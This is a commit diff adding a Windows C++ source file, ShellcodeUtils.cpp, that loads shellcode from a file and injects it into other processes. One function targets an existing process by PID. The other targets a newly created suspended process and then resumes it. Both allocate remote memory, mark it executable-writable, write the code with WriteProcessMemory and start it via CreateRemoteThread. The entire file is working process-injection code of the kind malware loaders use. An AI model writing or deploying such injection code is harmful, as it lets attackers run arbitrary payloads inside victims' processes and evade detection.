Init commit

ShellcodeUtils.cpp

@@ -0,0 +1,253 @@
+#include "Common.h"
+#include "ShellcodeUtils.h"
+#include "Logger.h"
+
+bool ReadFileToMemory(const wchar_t* path, std::vector<BYTE>& out)
+{
+    out.clear();
+
+    HANDLE h = CreateFileW(
+        path,
+        GENERIC_READ,
+        FILE_SHARE_READ,
+        nullptr,
+        OPEN_EXISTING,
+        0,
+        nullptr);
+
+    if (h == INVALID_HANDLE_VALUE)
+    {
+        Log(L"[-] ReadFileToMemory failed: %s err=%lu", path, GetLastError());
+        return false;
+    }
+
+    LARGE_INTEGER fileSize{};
+    if (!GetFileSizeEx(h, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x7FFFFFFF)
+    {
+        Log(L"[-] ReadFileToMemory invalid file size: %s", path);
+        CloseHandle(h);
+        return false;
+    }
+
+    out.resize((size_t)fileSize.QuadPart);
+
+    DWORD read = 0;
+    bool ok = ReadFile(h, out.data(), (DWORD)fileSize.QuadPart, &read, nullptr)
+        && read == (DWORD)fileSize.QuadPart;
+
+    CloseHandle(h);
+
+    if (!ok)
+        Log(L"[-] ReadFileToMemory partial/failed: %s", path);
+
+    return ok;
+}
+
+static LPVOID AllocateExecMemory(HANDLE hProc, SIZE_T size)
+{
+    if (!hProc || size == 0)
+        return nullptr;
+
+    LPVOID p = VirtualAllocEx(
+        hProc,
+        (LPVOID)0x10000,
+        size,
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE);
+
+    if (!p)
+    {
+        p = VirtualAllocEx(
+            hProc,
+            nullptr,
+            size,
+            MEM_COMMIT | MEM_RESERVE,
+            PAGE_READWRITE);
+    }
+
+    if (!p)
+    {
+        Log(L"[-] VirtualAllocEx failed: %lu", GetLastError());
+        return nullptr;
+    }
+
+    DWORD oldProtect = 0;
+    if (!VirtualProtectEx(hProc, p, size, PAGE_EXECUTE_READWRITE, &oldProtect))
+    {
+        Log(L"[-] VirtualProtectEx failed: %lu", GetLastError());
+        VirtualFreeEx(hProc, p, 0, MEM_RELEASE);
+        return nullptr;
+    }
+
+    return p;
+}
+
+bool InjectShellcodeIntoExisting(
+    DWORD pid,
+    const BYTE* code,
+    size_t size)
+{
+    if (!pid || !code || size == 0)
+        return false;
+
+    const DWORD access =
+        PROCESS_QUERY_INFORMATION |
+        PROCESS_VM_OPERATION |
+        PROCESS_VM_READ |
+        PROCESS_VM_WRITE |
+        PROCESS_CREATE_THREAD;
+
+    HANDLE hProc = OpenProcess(access, FALSE, pid);
+    if (!hProc)
+    {
+        Log(L"[-] Inject: OpenProcess(%lu) failed: %lu", pid, GetLastError());
+        return false;
+    }
+
+    LPVOID remote = AllocateExecMemory(hProc, size);
+    if (!remote)
+    {
+        CloseHandle(hProc);
+        return false;
+    }
+
+    SIZE_T written = 0;
+    if (!WriteProcessMemory(hProc, remote, code, size, &written) || written != size)
+    {
+        Log(L"[-] Inject: WriteProcessMemory failed: %lu", GetLastError());
+        VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
+        CloseHandle(hProc);
+        return false;
+    }
+
+    LPTHREAD_START_ROUTINE entry =
+        reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));
+
+    HANDLE hThread = CreateRemoteThread(
+        hProc,
+        nullptr,
+        0,
+        entry,
+        nullptr,
+        0,
+        nullptr);
+
+    if (!hThread)
+    {
+        Log(L"[-] Inject: CreateRemoteThread failed: %lu", GetLastError());
+        VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
+        CloseHandle(hProc);
+        return false;
+    }
+
+    Log(L"[+] Injected into PID %lu at %p", pid, (void*)remote);
+
+    CloseHandle(hThread);
+    CloseHandle(hProc);
+
+    return true;
+}
+
+bool InjectShellcodeAndResume(
+    NewProcInfo& info,
+    const BYTE* code,
+    size_t size)
+{
+    if (!info.hProcess || !info.hThread || !code || size == 0)
+        return false;
+
+    LPVOID remote = AllocateExecMemory(info.hProcess, size);
+
+    if (!remote)
+    {
+        if (info.hThread)
+        {
+            ResumeThread(info.hThread);
+            CloseHandle(info.hThread);
+            info.hThread = nullptr;
+        }
+
+        if (info.hProcess)
+        {
+            CloseHandle(info.hProcess);
+            info.hProcess = nullptr;
+        }
+
+        return false;
+    }
+
+    SIZE_T written = 0;
+
+    if (!WriteProcessMemory(info.hProcess, remote, code, size, &written) || written != size)
+    {
+        Log(L"[-] Inject suspended: WriteProcessMemory failed: %lu", GetLastError());
+
+        VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);
+
+        if (info.hThread)
+        {
+            ResumeThread(info.hThread);
+            CloseHandle(info.hThread);
+            info.hThread = nullptr;
+        }
+
+        if (info.hProcess)
+        {
+            CloseHandle(info.hProcess);
+            info.hProcess = nullptr;
+        }
+
+        return false;
+    }
+
+    LPTHREAD_START_ROUTINE entry =
+        reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));
+
+    HANDLE hThread = CreateRemoteThread(
+        info.hProcess,
+        nullptr,
+        0,
+        entry,
+        nullptr,
+        0,
+        nullptr);
+
+    if (!hThread)
+    {
+        Log(L"[-] Inject suspended: CreateRemoteThread failed: %lu", GetLastError());
+
+        VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);
+
+        if (info.hThread)
+        {
+            ResumeThread(info.hThread);
+            CloseHandle(info.hThread);
+            info.hThread = nullptr;
+        }
+
+        if (info.hProcess)
+        {
+            CloseHandle(info.hProcess);
+            info.hProcess = nullptr;
+        }
+
+        return false;
+    }
+
+    ResumeThread(info.hThread);
+
+    Log(L"[+] Injected into suspended PID %lu and resumed: %p", info.processId, (void*)remote);
+
+    CloseHandle(hThread);
+
+    if (info.hThread)
+        CloseHandle(info.hThread);
+
+    if (info.hProcess)
+        CloseHandle(info.hProcess);
+
+    info.hThread = nullptr;
+    info.hProcess = nullptr;
+
+    return true;
+}